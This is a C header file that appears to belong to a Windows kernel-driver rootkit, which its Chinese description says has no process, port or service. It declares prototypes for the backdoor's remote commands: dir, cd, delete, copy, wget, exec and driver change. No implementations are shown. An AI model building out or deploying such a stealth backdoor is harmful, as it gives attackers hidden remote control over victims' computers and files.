command.h

一个驱动上实现 无进程 无端口 无服务的简单rootkit

//
//proto type
//
NTSTATUS
ReferenceCommAnd(
	PRECVLIST	pRecvList
	);

NTSTATUS
CommAnd_Dir(
	PRECVLIST	pRecvList,
	WCHAR* pAth
	);

NTSTATUS
CommAnd_Cd(
	PRECVLIST pRecvList,
	ULONG Argc,CHAR* Argv[]
	);

NTSTATUS
CommAnd_Del(
	PRECVLIST pRecvList,
	ULONG Argc,
	CHAR* Argv[]
	);

NTSTATUS
CommAnd_Copy(
	PRECVLIST	pRecvList,
	ULONG Argc,
	CHAR* Argv[]
	);

NTSTATUS 
CommAnd_Wget(
	PRECVLIST	pRecvList,
	ULONG Argc,
	CHAR* Argv[]
	);

NTSTATUS 
CommAnd_Exec(
	PRECVLIST	pRecvList,
	ULONG Argc,
	CHAR* Argv[]
	);

NTSTATUS
CommAnd_ChAngeDriver(
	PRECVLIST	pRecvList,
	ULONG Argc,
	CHAR* Argv[]
	);